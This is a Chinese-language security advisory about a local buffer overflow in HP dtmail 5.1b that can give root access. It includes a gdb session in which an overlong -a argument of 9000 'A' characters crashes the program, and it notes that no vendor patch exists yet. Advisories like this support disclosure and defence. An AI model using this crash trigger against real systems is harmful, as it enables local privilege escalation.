更新日期：2006-10-19
受影响系统：
HP dtmail 5.1b描述：
BUGTRAQ ID: 20580
HP DTMail是在桌面上使用的邮件客户端。
DTMail在处理-a选项参数时存在缓冲区溢出漏洞，本地攻击者可以利用此漏洞获得root用户权限。
以下gdb输出显示了这个漏洞：
gdb) r -a -a `perl -e 'print "A" x 9000'`
Starting program: /cluster/members/member0/tmp/dtmail -a `perl -e
'print "A"x 9000'`
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
warning: Hit heuristic-fence-post without finding
warning: enclosing function for address 0x4141414141414140
<*来源：Adriel T. Desautels
链接：http://www.netragard.com/pdfs/research/HP-TRU64-DTMAIL-20060810.txt
*>
建议：
厂商补丁：
HP
--
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://itrc.hp.com